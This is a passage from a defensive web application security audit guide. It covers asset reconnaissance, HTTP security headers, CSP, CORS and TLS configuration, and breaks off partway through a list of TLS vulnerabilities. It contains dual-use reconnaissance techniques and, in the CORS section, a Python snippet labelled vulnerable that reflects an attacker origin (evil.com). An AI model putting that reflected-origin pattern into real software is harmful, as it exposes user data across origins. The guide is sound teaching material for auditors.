Introduction
This seven-stage workflow is a repeatable baseline review of web application assets and configuration — reconnaissance, HTTP security headers, SSL/TLS, email authentication, privacy checks, threat intelligence, and remediation planning — that turns findings into a prioritized fix list. The stage estimates total 140-250 minutes (2 hours 20 minutes to 4 hours 10 minutes); actual time depends on scope. A complete application audit also needs authorized hands-on testing of access control, injection, business logic, and API endpoints; record each finding with evidence, severity, an owner, and a deadline.
The diagram below shows the sequence of baseline checks and estimated time for each stage. The rest of this guide explains how to run them and turn results into a remediation plan.
Web application reviews need to cover both configuration and application behavior. Industry reports such as the Web Application Security Report 2025 provide context, but their survey figures should not be treated as predictions for an individual application.
The OWASP Top 10 2025 includes Software Supply Chain Failures and Mishandling of Exceptional Conditions. Security Misconfiguration moved from #5 in the 2021 edition to #2 in the 2025 edition, while Broken Access Control remained #1 across those two editions. OWASP Top 10 editions are not annual. Systematic reviews can reveal weaknesses before they are exploited.
The API-Driven Era and Modern Challenges
APIs add endpoints, roles, and data flows to the review scope. Published application security statistics can provide background, but an audit must test the application's actual authorization rules, input handling, and API behavior rather than infer risk from survey percentages.
Why Systematic Audits Matter
A systematic security audit helps teams:
- Identifies vulnerabilities before attackers do - Proactive discovery beats reactive incident response
- Prioritize remediation - Document evidence, impact, owners, and deadlines
- Support compliance work - Provide evidence for applicable legal and contractual requirements
- Protects brand reputation - Preventing breaches protects customer trust
- Enables continuous improvement - Repeat reviews at a cadence set by risk and change rate
Audit Workflow Overview
This guide covers a 7-stage baseline review workflow:
- Pre-Audit Reconnaissance & Discovery (10-20 minutes) - Map your attack surface
- Security Headers & Policy Analysis (15-30 minutes) - Evaluate HTTP security posture
- SSL/TLS Certificate & Encryption Analysis (20-40 minutes) - Validate encryption standards
- Email Security & Authentication (30-45 minutes) - Assess spoofing exposure and mail authentication
- Privacy & Compliance Analysis (20-30 minutes) - GDPR, CCPA compliance verification
- Threat Intelligence & Attack Surface Management (15-25 minutes) - Monitor active threats
- Audit Documentation & Remediation Planning (30-60 minutes) - Actionable remediation roadmap
Each stage builds on the previous and feeds a remediation plan. To assess application behavior, add authorized tests of role and object-level access, injection paths, business workflows, and API endpoints. The API penetration testing guide provides a starting point for API scope; use the OWASP Web Security Testing Guide to plan the wider test.
Dates, scan outputs, scores, and timelines in the examples below are illustrative. Run current checks and set priorities from your own evidence and scope.
Who This Guide Is For:
- Security engineers conducting web application assessments
- Penetration testers performing pre-engagement reconnaissance
- DevOps teams implementing security-first pipelines
- Compliance teams preparing for audits (SOC 2, ISO 27001, PCI-DSS)
- CISOs building security assessment programs
Let's begin with reconnaissance—understanding your attack surface before auditing security controls.
Stage 1: Pre-Audit Reconnaissance & Discovery (10-20 minutes)
Before reviewing controls, identify the assets in scope. Web applications may span subdomains, APIs, CDNs, third-party integrations, and cloud services. A missed asset can leave a weakness outside the review.
Step 1.1: Domain & Subdomain Discovery
Goal: Build an inventory of known web assets, subdomains, and DNS records; confirm it with application owners because passive discovery can miss assets.
Why This Matters: Attackers don't just target your main website—they hunt for forgotten subdomains, staging environments, development servers, and API endpoints that may have weaker security controls. A comprehensive penetration testing methodology often begins with reconnaissance.
Certificate Transparency Lookup
Tool: Certificate Transparency Lookup
Certificate Transparency (CT) logs provide a public, append-only record of all SSL/TLS certificates issued for your domain. This is a goldmine for subdomain discovery.
How to Use:
- Navigate to the Certificate Transparency Lookup tool
- Enter your primary domain (e.g.,
example.com) - Search CT logs from multiple providers (crt.sh, Google CT, Censys)
- Export the complete list of discovered subdomains
What You'll Find:
Primary Domain: example.com
├── www.example.com (Production website)
├── api.example.com (REST API endpoint)
├── staging.example.com (Staging environment - potential vulnerability)
├── dev.example.com (Development server - often poorly secured)
├── mail.example.com (Email server)
├── vpn.example.com (VPN gateway)
└── forgotten-project.example.com (Abandoned subdomain - high risk)
Security Insight: CT logs reveal unauthorized certificate issuance attempts—if you see certificates for your domain that you didn't request, you may have a compromised DNS account or a typosquatting campaign targeting your organization.
DNS Record Analysis
Tool: DNS Lookup
DNS records expose critical infrastructure details and potential security gaps.
Record Types to Analyze:
| Record Type | Security Significance |
|---|---|
| A/AAAA | Web server IP addresses, geolocation, hosting provider |
| MX | Email infrastructure, SPF/DMARC requirements |
| TXT | SPF, DKIM, DMARC, domain verification tokens |
| CNAME | Third-party services, CDN configurations |
| NS | Authoritative nameservers, DNS security status |
| CAA | Certificate Authority Authorization (prevents unauthorized SSL issuance) |
Example DNS Analysis:
example.com DNS Analysis:
A Records:
example.com → 192.0.2.100 (Primary web server)
www.example.com → 192.0.2.100 (Same as root - good)
MX Records:
example.com → mail.example.com (Priority: 10)
SPF record: see TXT Records below
TXT Records:
v=spf1 include:_spf.google.com ~all (Present; verify authorized senders)
⚠️ Missing DMARC record - no email authentication policy
CAA Records:
⚠️ No CAA records found - any CA can issue certificates
DNSSEC:
✓ DNSSEC enabled - DNS responses are cryptographically signed
DNS Lookup Tool Features:
- Query all record types simultaneously
- Email security health scoring (SPF, DKIM, DMARC detection)
- DNSSEC validation status
- Historical DNS record tracking
WHOIS Registration Analysis
Tool: WHOIS Lookup
WHOIS data reveals domain ownership, registration dates, and expiration timelines—critical for understanding your organization's digital footprint.
Key Information to Extract:
- Domain Expiration Date - Domains expiring within 90 days need immediate renewal attention
- Registrar Information - Validate authorized registrar to detect domain hijacking
- Nameservers - Confirm DNS hosting provider matches your records
- Registration Date - Newly registered domains (< 30 days) associated with your organization may indicate typosquatting
Security Red Flags:
Domain: example.com
Registered: 2010-03-15 (about 14 years, 10 months before the example scan date)
Expires: 2025-03-15 (Expires in 67 days from 2025-01-07 - check renewal settings)
Registrar: Example Registrar Inc.
Nameservers: ns1.example-dns.com, ns2.example-dns.com
Privacy Protection: Disabled (Contact info visible)
⚠️ ACTION REQUIRED:
- Domain expires in 67 days from the example scan date - check auto-renewal
- Privacy protection disabled - enables social engineering attacks
Step 1.2: Initial Risk Assessment
IP Risk & Geolocation Analysis
Tool: IP Risk Checker
Not all IP addresses are created equal. Your web servers could be flagged on blocklists, hosted in high-risk jurisdictions, or sharing infrastructure with malicious actors.
What This Tool Checks:
- Geolocation & ISP - Physical location, hosting provider, ASN
- Threat Intelligence - Blocklist status (Spamhaus, SURBL, Project Honey Pot)
- Fraud Scoring - VPN/proxy detection, historical abuse reports
- Reputation Analysis - Email reputation, DDoS mitigation status
Example Analysis:
The address below is in TEST-NET-1, reserved for documentation. It has no factual geolocation, ASN, reputation, or risk score in this example.
IP Address: 192.0.2.100
Example address: TEST-NET-1, reserved for documentation (RFC 5737)
Geolocation/ASN/hosting type: Not applicable to this example
Threat Intelligence:
Results: Run checks on an actual in-scope public IP
Risk Score: Not available for this documentation address
High-Risk Indicators:
- IP listed on 3+ spam blocklists (email deliverability issues)
- Geolocation mismatch (server located in unexpected country)
- Shared hosting with known malicious sites
- Recent abuse reports (DDoS, phishing, malware hosting)
Domain Spoofing & Typosquatting Detection
Tool: Domain Spoofing Detector
Attackers register domains that look like yours to conduct phishing attacks, distribute malware, or steal credentials. These include:
- Typosquatting:
examp1e.com(1 instead of l) - Homograph Attacks:
еxample.com(Cyrillic 'е' instead of Latin 'e') - TLD Variations:
example.org,example.net,example.co - Subdomain Impersonation:
www-example.com,example-login.com
How to Use:
- Enter your primary domain
- Generate all common spoofing variations (500+ patterns)
- Check which domains are already registered
- Identify active phishing campaigns
Example Output:
Primary Domain: example.com
Registered Typosquatting Domains:
⚠️ exampl3.com (Registered 2024-12-15 - ACTIVE PHISHING SITE)
⚠️ example-secure-login.com (Registered 2024-11-20 - Credential harvesting)
⚠️ еxample.com (Cyrillic homograph - Registered 2024-10-05)
Recommended Defensive Registrations:
☐ examp1e.com (Available - register to prevent abuse)
☐ example.org (Available - protect your brand)
☐ example.net (Available - defensive registration)
Defensive Actions:
- Register high-risk variations proactively
- Monitor newly registered similar domains (use CT logs)
- File takedown requests for active phishing sites
- Evaluate DMARC enforcement after reviewing legitimate senders and reports;
p=rejectrequests rejection of DMARC failures but cannot stop all spoofing (Stage 4)
robots.txt Security Analysis
Tool: robots.txt Analyzer
The robots.txt file tells search engines which paths to crawl—but it also tells attackers where to find sensitive directories, admin panels, and hidden resources.
Security Issues to Check:
1. Sensitive Path Disclosure
User-agent: *
Disallow: /admin/ ⚠️ Admin panel location revealed
Disallow: /backup/ ⚠️ Backup files location disclosed
Disallow: /api/internal/ ⚠️ Internal API endpoints exposed
Disallow: /.git/ ⚠️ Git repository accessible
Disallow: /config/ ⚠️ Configuration files visible
Why This Is Dangerous:
The Disallow directive doesn't protect these paths—it just tells robots not to crawl them. Attackers ignore robots.txt and directly access these URLs.
2. Missing Critical Disallows
User-agent: *
Disallow: /
⚠️ WARNING: Entire site blocked from search engines
This configuration prevents legitimate indexing
3. Sitemap Discovery
Sitemap: https://example.com/sitemap.xml
✓ Good: Helps search engines discover content
⚠️ Also helps attackers map your site structure
robots.txt Analyzer Features:
- Parse
robots.txtsyntax and validate directives - Identify sensitive path disclosures
- Test if specific URLs are allowed/disallowed
- Security scoring with remediation recommendations
Best Practices:
- Never use
Disallowfor sensitive paths—use proper authentication instead - Sensitive directories should return 403 Forbidden or 404 Not Found, not rely on robots.txt
- Use web application firewalls (WAFs) to protect admin panels
- Remove exposed
.git,/backup, and/configdirectories from production servers where they are not needed
Step 1.3: Reconnaissance Output & Deliverables
After 15-20 minutes of reconnaissance, you should have:
-
Complete Asset Inventory
-
All subdomains discovered (CT logs, DNS brute-forcing)
-
All DNS records documented (A, MX, TXT, CAA, NS)
-
Domain registration details (WHOIS data, expiration dates)
-
Initial Risk Assessment
-
IP reputation scores and blocklist status
-
Geolocation and hosting provider analysis
-
Typosquatting and homograph attack detection
-
robots.txt security analysis
-
Attack Surface Map
Example.com Attack Surface Summary:
Primary Assets:
- example.com (Production)
- www.example.com (Production)
- api.example.com (REST API)
High-Risk Discoveries:
⚠️ staging.example.com (No authentication detected)
⚠️ dev.example.com (Directory listing enabled)
⚠️ backup.example.com (Exposed backup files)
Typosquatting Threats:
⚠️ 3 active phishing domains detected
Missing Security Controls:
⚠️ No CAA records (unauthorized cert issuance possible)
⚠️ No DMARC policy (email spoofing risk)
⚠️ robots.txt exposes sensitive paths
Next Steps: With an initial asset map, proceed to Stage 2: Security Headers Analysis to evaluate HTTP security controls.
Stage 2: Security Headers & Policy Analysis (15-30 minutes)
HTTP security headers instruct browsers to enforce policies that can reduce the impact of XSS, clickjacking, MIME sniffing, and other client-side attacks. The OWASP Secure Headers Project explains their use; headers do not replace application testing.
OWASP Top 10 2025 ranks Security Misconfiguration #2, up from #5 in the 2021 edition. Missing or improperly configured headers are one possible finding within that broader category.
Step 2.1: HTTP Security Headers Assessment
Tool: Security Headers Analyzer
This tool tests 15+ critical headers and provides an A-F security grade with actionable recommendations.
Critical Headers Explained
1. Content-Security-Policy (CSP)
CSP restricts which content sources a supporting browser may use. A strong policy can make some XSS paths harder to exploit, but CSP is defense in depth and does not remove code vulnerabilities or guarantee protection. See the OWASP CSP Cheat Sheet.
Example Policy:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
What This Policy Does:
default-src 'self'- Only load resources from same origin by defaultscript-src 'self' 'nonce-r4nd0m123'- Allows same-origin scripts or scripts with a matching nonce; a real nonce must be unpredictable and generated for each responseframe-ancestors 'none'- Prevent embedding in iframes (clickjacking protection)
CSP Violations to Avoid:
❌ BAD: script-src 'unsafe-inline' 'unsafe-eval'
Why: Weakens protection against script injection
❌ BAD: default-src *
Why: Allows loading from ANY origin (no protection)
❌ BAD: script-src https:
Why: Allows scripts from any HTTPS site (still vulnerable)
Implementation Tip: Use CSP Policy Generator to draft a policy with nonce/hash support, then test it against the application.
2. Strict-Transport-Security (HSTS)
After a supporting browser receives HSTS over HTTPS, it upgrades subsequent HTTP requests for the covered host during the policy lifetime. This reduces downgrade exposure, but does not protect a first visit unless the host is already preloaded.
Example configuration after a staged rollout and subdomain verification:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Directive Breakdown:
max-age=31536000- Enforce HTTPS for 1 year (365 days)includeSubDomains- Apply to all subdomainspreload- Signals intent to be eligible for preload; it does not itself add the domain to a browser list
WARNING: Preload removal can take time to reach browsers. Verify HTTPS across the domain and its subdomains before adding includeSubDomains or seeking preload inclusion. See the current preload requirements and submission process.
HSTS Best Practices:
- Start with
max-age=300(5 minutes) for testing - Gradually increase: 1 week → 1 month → 1 year
- Add
includeSubDomainsonly after subdomain HTTPS verification - Check the current preload requirements, submit separately when ready, and confirm actual list inclusion
3. X-Frame-Options
Prevents clickjacking attacks by controlling whether your site can be embedded in <iframe> elements.
Configuration Options:
X-Frame-Options: DENY ✓ Blocks framing
X-Frame-Options: SAMEORIGIN ✓ Good (allow same-origin framing)
X-Frame-Options: ALLOW-FROM url ❌ Deprecated (use CSP instead)
Modern Alternative: Use CSP's frame-ancestors directive:
Content-Security-Policy: frame-ancestors 'none'; (Equivalent to DENY)
Content-Security-Policy: frame-ancestors 'self'; (Equivalent to SAMEORIGIN)
Content-Security-Policy: frame-ancestors https://trusted.com; (Selective allowing)
4. X-Content-Type-Options
Prevents MIME-sniffing attacks where browsers "guess" content types, potentially executing malicious scripts.
Configuration:
X-Content-Type-Options: nosniff
Why This Matters:
Without this header, a browser might execute malicious.jpg as JavaScript if it contains script code—bypassing upload filters.
5. Referrer-Policy
Controls how much referrer information is sent with requests.
Recommended Configuration:
Referrer-Policy: strict-origin-when-cross-origin
Policy Options:
no-referrer- Send no referrer (may affect referrer-based analytics)strict-origin-when-cross-origin- Send the full URL for same-origin requests, the origin for HTTPS→HTTPS cross-origin requests, and no referrer on HTTPS→HTTP downgrades (modern default)no-referrer-when-downgrade- Send the full URL on HTTPS→HTTPS cross-origin requests; send no referrer on HTTPS→HTTP downgrades (less private)
6. Permissions-Policy (formerly Feature-Policy)
Controls which browser features and APIs can be used (camera, microphone, geolocation, payment, etc.).
Example Configuration:
Permissions-Policy:
geolocation=(),
microphone=(),
camera=(),
payment=(self),
usb=()
What This Does:
geolocation=()- Disable geolocation access for this document and its framespayment=(self)- Allow payment API only from same origincamera=()- Disable camera access (prevents webcam hijacking)
Use Case: If your application doesn't need camera access, disable it. This prevents third-party scripts from accessing webcams.
Security Headers Analyzer Output
Example Scan Results:
Site: https://example.com
Scan Date: 2025-01-07 10:30:00 UTC
Security Grade: C+ (67/100)
Header Status:
✓ Strict-Transport-Security: max-age=31536000; includeSubDomains
✓ X-Content-Type-Options: nosniff
✓ X-Frame-Options: DENY
⚠️ Content-Security-Policy: Missing (CRITICAL)
⚠️ Referrer-Policy: Missing
⚠️ Permissions-Policy: Missing
❌ X-XSS-Protection: Deprecated (remove this header)
Critical Issues:
1. No Content-Security-Policy - Assess whether a strong policy would reduce XSS impact
2. Missing Referrer-Policy - Leaking sensitive URL parameters
3. Missing Permissions-Policy - Unnecessary API access enabled
Quick Wins (Immediate Implementation):
Content-Security-Policy: default-src 'self'; script-src 'self'
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Step 2.2: Content Security Policy Generation
Tool: CSP Policy Generator
Building a CSP policy from scratch is complex—the generator provides a directive-by-directive wizard with preset templates.
CSP Generator Features
1. Directive Builder
Source Directives:
default-src: 'self'
script-src: 'self' 'nonce-{random}'
style-src: 'self' 'unsafe-inline'
img-src: 'self' data: https:
font-src: 'self' https://fonts.gstatic.com
connect-src: 'self' https://api.example.com
media-src: 'self'
object-src: 'none'
frame-src: 'none'
frame-ancestors: 'none'
base-uri: 'self'
form-action: 'self'
2. Nonce/Hash Support
Using Nonces (Recommended):
<!-- Server generates random nonce per request -->
Content-Security-Policy: script-src 'nonce-r4nd0m123'
<!-- HTML includes matching nonce -->
<script nonce="r4nd0m123">
console.log('This script is allowed');
</script>
<!-- Scripts without nonce are blocked -->
<script>
console.log('This script is BLOCKED');
</script>
Using Hashes (Static Content):
Content-Security-Policy: script-src 'sha256-abc123def456...'
<!-- Hash of this exact script matches CSP -->
<script>console.log('Allowed via hash');</script>
3. Common CSP Bypass Prevention
The generator validates against common bypasses:
'unsafe-inline'with nonces/hashes (nonces override unsafe-inline in modern browsers)- Wildcard origins (
https:instead of specific domains) - JSONP endpoints in
script-src - Overly permissive
default-src
4. Report-Only Mode for Testing
Before enforcing CSP, test with report-only mode:
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri /csp-violation-report
This logs violations without blocking content—allowing you to identify legitimate resources before enforcement.
CSP Deployment Roadmap:
- Deploy in report-only mode and collect violations.
- Analyze reports and update the policy for legitimate resources.
- Test enforcement in staging with application behavior checks.
- Enforce in production when testing supports it, then monitor reports.
Step 2.3: CORS Policy Analysis
Tool: CORS Policy Analyzer
Cross-Origin Resource Sharing (CORS) controls which external domains can access your APIs. Misconfigurations can expose sensitive data to malicious sites.
Common CORS Vulnerabilities
1. Wildcard Origin with Credentials
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
⚠️ Invalid for credentialed browser reads
Why: Browsers block credentialed CORS access when the allowed origin is *
Impact: Intended credentialed cross-origin clients cannot read the response
See MDN's CORS guidance for the browser behavior.
Secure Alternative:
Access-Control-Allow-Origin: https://trusted-app.com
Access-Control-Allow-Credentials: true
✓ Browsers can expose credentialed responses to trusted-app.com; validate the origin and authentication separately
2. Reflected Origin Without Validation
# Vulnerable code
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin # ❌ DANGEROUS
# Attacker request:
Origin: https://evil.com
# Server reflects:
Access-Control-Allow-Origin: https://evil.com # ❌ May expose responses; credentialed reads also require Access-Control-Allow-Credentials: true
Secure Implementation:
# Secure code
ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com']
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin # ✓ Validated
3. Overly Permissive Methods/Headers
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, TRACE
Access-Control-Allow-Headers: *
⚠️ WARNING: Allows all HTTP methods and headers
Recommendation: Only allow required methods/headers
Secure Configuration:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
CORS Analyzer Features
1. Misconfiguration Detection
- Wildcard + credentials check
- Reflected origin validation
- Preflight request testing
- Credential exposure analysis
2. Common Attack Scenarios
Test Case 1: Wildcard with Credentials
Request Origin: https://evil.com
CORS Headers: Access-Control-Allow-Origin: *
Credentials: Access-Control-Allow-Credentials: true
Result: ⚠️ BLOCKED (Browser rejects credentialed CORS access with wildcard origin)
Test Case 2: Origin Reflection
Request Origin: https://malicious.net
CORS Headers: Access-Control-Allow-Origin: https://malicious.net
Result: ⚠️ WARNING (Validate origins against allowlist; assess credential handling)
Test Case 3: Secure Configuration
Request Origin: https://trusted-app.com
CORS Headers: Access-Control-Allow-Origin: https://trusted-app.com
Credentials: Access-Control-Allow-Credentials: true
Result: ✓ SECURE (Explicit origin, credentials allowed)
3. Remediation Guidance
Findings for api.example.com:
⚠️ CONFIGURATION ERROR: Wildcard origin with credentials enabled
Current: Access-Control-Allow-Origin: *
Fix: Access-Control-Allow-Origin: https://app.example.com
⚠️ WARNING: All HTTP methods allowed
Current: Access-Control-Allow-Methods: *
Fix: Access-Control-Allow-Methods: GET, POST
✓ GOOD: Appropriate max-age configured
Current: Access-Control-Max-Age: 86400
Step 2.4: Security Headers Stage Output
After 20-30 minutes of headers analysis, you should have:
-
Complete Headers Inventory
-
Relevant security headers tested
-
Security grade (A-F) with scoring breakdown
-
Missing headers identified
-
CSP Policy Blueprint
-
Custom CSP policy generated for your application
-
Nonce/hash implementation plan
-
Report-only testing configuration
-
CORS Security Assessment
-
Misconfiguration detection (wildcard, reflected origins)
-
Vulnerability severity ratings
-
Remediation recommendations
-
Implementation Priority List
Priority 1 (assess first):
☐ Add Content-Security-Policy header
☐ Test HSTS rollout; assess preload only after subdomain verification
☐ Review CORS wildcard and credentials configuration
Priority 2 (schedule from assessed risk):
☐ Configure Permissions-Policy
☐ Add Referrer-Policy
☐ Implement CSP nonces for inline scripts
Priority 3 (Continuous):
☐ Monitor CSP violation reports
☐ Header regression checks after relevant changes
☐ Update policies as application evolves
Next Steps: Proceed to Stage 3: SSL/TLS Certificate Analysis to validate encryption standards.
Stage 3: SSL/TLS Certificate & Encryption Analysis (20-40 minutes)
SSL/TLS encryption is non-negotiable for modern web applications. According to SSL Labs' TLS Deployment Best Practices, organizations must disable TLS 1.0/1.1, use minimum 2048-bit RSA keys, and enable TLS 1.3 for optimal security. Check deployed certificates and cipher suites directly; their condition varies by environment.
Step 3.1: Certificate Chain Validation
Tool: X.509 Certificate Decoder
SSL/TLS certificates prove your server's identity and enable encrypted communication. The decoder parses and analyzes certificate details, expiration dates, key strength, and chain integrity.
Certificate Components Analysis
1. Subject Distinguished Name (Subject DN)
The Subject DN identifies who the certificate belongs to.
Example:
Subject DN:
Common Name (CN): example.com
Organization (O): Example Corporation
Organizational Unit (OU): IT Department
Locality (L): San Francisco
State/Province (ST): California
Country (C): US
Validation Checks:
- CN matches your domain exactly
- Organization name is correct and current
- No typos or unusual characters (check for homograph attacks)
2. Issuer Distinguished Name (Issuer DN)
The Issuer DN identifies the Certificate Authority (CA) that signed the certificate.
Example:
Issuer DN:
Common Name (CN): DigiCert Global Root G2
Organization (O): DigiCert Inc
Country (C): US
✓ Trusted CA (DigiCert)
✓ Valid certificate chain
Red Flags:
- Self-signed certificates in production (only acceptable in development)
- Unknown or untrusted CA
- Issuer mismatch (certificate chain broken)
3. Validity Period
Certificates have finite lifespans. Modern best practices recommend 1-year maximum validity.
Example:
Validity Period:
Not Before: 2024-06-15 00:00:00 UTC
Not After: 2025-06-15 23:59:59 UTC
Days Until Expiration: 159 days
Status: ✓ Valid (Renew in 90 days)
Expiration Risk Levels:
- > 90 days: Safe
- 30-90 days: Plan renewal
- 7-30 days: Urgent renewal required
- < 7 days: CRITICAL - Immediate action
- Expired: Production outage imminent
Automation Tip: Set up certificate monitoring with alerts at 90, 60, 30, and 7 days before expiration. Use Let's Encrypt with automated renewal via ACME protocol.
4. Public Key Algorithm & Key Strength
Certificate security depends on key strength—weak keys can be brute-forced.
Key strength guidance:
RSA:
✓ 2048-bit minimum (industry standard)
✓ Assess larger keys or alternate algorithms against your requirements and platform support
❌ 1024-bit or less (DEPRECATED - vulnerable)
ECDSA (Elliptic Curve):
✓ 256-bit (equivalent to 3072-bit RSA)
✓ 384-bit (equivalent to 7680-bit RSA)
Example Analysis:
Public Key Info:
Algorithm: RSA
Key Size: 2048 bits
Signature Algorithm: SHA-256 with RSA Encryption
✓ Meets minimum requirements (2048-bit RSA)
✓ Review key choice against current policy and interoperability requirements
✓ SHA-256 signature (secure)
Deprecated Algorithms to Avoid:
- MD5 signatures (broken since 2008)
- SHA-1 signatures (deprecated 2017)
- RSA 1024-bit or less (brute-forceable)
5. Subject Alternative Names (SANs)
SANs allow one certificate to secure multiple domains.
Example:
Subject Alternative Names (SANs):
DNS: example.com
DNS: www.example.com
DNS: api.example.com
DNS: *.staging.example.com
✓ Covers primary domain and www subdomain
✓ API endpoint included
⚠️ Wildcard for staging subdomains (verify necessity)
Wildcard Certificate Security:
*.example.com- Covers all first-level subdomains (api.example.com, www.example.com)- Does NOT cover
sub.api.example.com(multi-level subdomain) - Risk: If one subdomain is compromised, attacker can impersonate all subdomains
Best Practice: Use specific SANs for production domains, wildcards only for development/staging.
6. Certificate Extensions
Extensions provide additional security controls.
Critical Extensions:
Extended Key Usage:
✓ TLS Web Server Authentication
✓ TLS Web Client Authentication
Basic Constraints:
✓ CA: FALSE (Not a Certificate Authority)
Key Usage:
✓ Digital Signature
✓ Key Encipherment
Authority Information Access (AIA):
✓ OCSP Responder: http://ocsp.digicert.com
✓ CA Issuers: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt
Why OCSP Matters: OCSP (Online Certificate Status Protocol) allows browsers to check if a certificate has been revoked in real-time—critical for responding to compromised certificates.
X.509 Decoder Features
1. Complete Certificate Parsing
- Upload .pem, .crt, .cer, or paste PEM text
- Parse certificate chains (root, intermediate, leaf)
- Extract all fields and extensions
2. Security Validation
Certificate Security Analysis:
✓ Valid certificate chain (3 certificates)
✓ Root CA trusted by browsers
✓ Key strength adequate (2048-bit RSA)
⚠️ Certificate expires in 45 days - RENEWAL REQUIRED
✓ SHA-256 signature algorithm (secure)
✓ SAN includes www subdomain
✓ OCSP stapling supported
Security Score: B+ (85/100)
3. Chain Verification
Certificate Chain:
1. example.com (Leaf Certificate)
├── Issued by: DigiCert TLS RSA SHA256 2020 CA1
├── Expires: 2025-06-15
└── Status: ✓ Valid
2. DigiCert TLS RSA SHA256 2020 CA1 (Intermediate)
├── Issued by: DigiCert Global Root G2
├── Expires: 2030-04-13
└── Status: ✓ Valid
3. DigiCert Global Root G2 (Root CA)
├── Self-signed
├── Expires: 2038-01-15
└── Status: ✓ Trusted
Broken Chain Example:
❌ CRITICAL: Intermediate certificate missing
Browser Error: NET::ERR_CERT_AUTHORITY_INVALID
Fix: Install DigiCert TLS RSA SHA256 2020 CA1 intermediate certificate
Download: http://cacerts.digicert.com/DigiCertTLSRSASHA2562020CA1.crt
Step 3.2: Certificate Transparency Monitoring
Tool: Certificate Transparency Lookup
CT logs provide transparency into all SSL/TLS certificates issued for your domain—detecting unauthorized issuance attempts and wildcard certificate abuse.
Why Certificate Transparency Matters
In 2011, DigiNotar was compromised, and attackers issued fraudulent certificates for Google, enabling man-in-the-middle attacks. Certificate Transparency prevents this by requiring CAs to log all issued certificates in public, append-only logs.
CT Lookup Use Cases:
1. Unauthorized Certificate Detection
CT Log Search: example.com
Recent Certificates:
2025-01-05: example.com, www.example.com (DigiCert) ✓ Authorized
2025-01-03: *.example.com (Let's Encrypt) ✓ Authorized
2024-12-28: example.com (Sectigo) ⚠️ UNAUTHORIZED
❌ ALERT: Unknown certificate issued by Sectigo
Action: Investigate CA account compromise, revoke certificate
2. Wildcard Certificate Discovery
Wildcard Certificates for example.com:
*.example.com (Let's Encrypt) - Issued: 2025-01-03
*.api.example.com (DigiCert) - Issued: 2024-11-15
*.staging.example.com (Self-Signed) - ⚠️ Untrusted CA
3. Subdomain Enumeration (Reconnaissance)
Attackers use CT logs to discover subdomains—the same technique you used in Stage 1.
Example:
CT Log Results for example.com:
Discovered Subdomains (via SAN fields):
- api.example.com
- staging.example.com
- dev.example.com
- internal.example.com ⚠️ Exposed internal subdomain
- vpn.example.com
- mail.example.com
Privacy Consideration: Any domain in a certificate's SAN field becomes publicly visible in CT logs. Avoid including sensitive internal hostnames in public certificates.
CT Monitoring Setup
1. Automated Monitoring Services
- Facebook CT Monitor (check current availability)
- crt.sh (check current access terms)
- SSLMate CertSpotter (check current plans)
2. Alert Configuration
Monitor: example.com
Alert Conditions:
✓ New certificates issued (any CA)
✓ Wildcard certificates issued
✓ Certificates from unauthorized CAs
✓ Unusual SANs (typosquatting patterns)
Notification: Email, Slack, PagerDuty
Step 3.3: Protocol & Cipher Suite Testing
Tool: X.509 Decoder (Coming Soon)
While this tool is under development, external services like SSL Labs provide comprehensive TLS testing.
TLS Protocol Versions
Protocol guidance:
TLS 1.3: ✓ REQUIRED (fastest, most secure)
TLS 1.2: ✓ ACCEPTABLE (with strong ciphers only)
TLS 1.1: ❌ DEPRECATED (disable immediately)
TLS 1.0: ❌ DEPRECATED (disable immediately)
SSL 3.0: ❌ INSECURE (vulnerable to POODLE)
SSL 2.0: ❌ INSECURE (broken protocol)
According to SSL Labs' Deployment Best Practices, TLS 1.3 is preferred as it offers:
- Faster handshake (1 round-trip vs 2)
- Simpler cipher selection (only secure ciphers)
- Perfect Forward Secrecy (PFS) by default
- Improved resistance to downgrade attacks
Configuration Example (Nginx):
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
Cipher Suite Configuration
Recommended Cipher Suites (TLS 1.2):
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
Why These Are Secure:
- ECDHE - Elliptic Curve Diffie-Hellman Ephemeral (Perfect Forward Secrecy)
- AES-GCM / ChaCha20-Poly1305 - Authenticated Encryption with Associated Data (AEAD)
- SHA256 / SHA384 - Strong hashing algorithms
Insecure Ciphers to Disable:
❌ TLS_RSA_WITH_3DES_EDE_CBC_SHA (Weak 3DES encryption)
❌ TLS_RSA_WITH_RC4_128_SHA (Broken RC4 algorithm)
❌ TLS_RSA_WITH_AES_128_CBC_SHA (No forward secrecy, CBC mode)
❌ Any cipher with MD5 or SHA-1 signatures
Perfect Forward Secrecy (PFS):
PFS ensures that compromising your server's private key cannot decrypt past sessions. Only ciphers with DHE or ECDHE provide PFS.
Example:
Cipher: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
✓ Ephemeral key exchange (ECDHE)
✓ Perfect Forward Secrecy enabled
✓ 256-bit AES-GCM (authenticated encryption)
✓ SHA-384 hashing
If private key is compromised:
✓ Past sessions remain encrypted (PFS protection)
❌ Future sessions vulnerable (key must be replaced)
Common SSL/TLS Vulnerabilities
1. POODLE (Padding Oracle On Downgraded Legacy Encryption)
Vulnerability: SSL 3.0 CBC mode cipher vulnerability
Fix: Disable SSL 3.0
2. Heartbleed (CVE-2014-0160)
Vulnerability: OpenSSL memory leak (critical data exposure)
Fix: Update OpenSSL to 1.0.1g or later
3. BEAST (Browser Exploit Against SSL/TLS)
Vulnerability: TLS 1.0 CBC cipher vulnerability
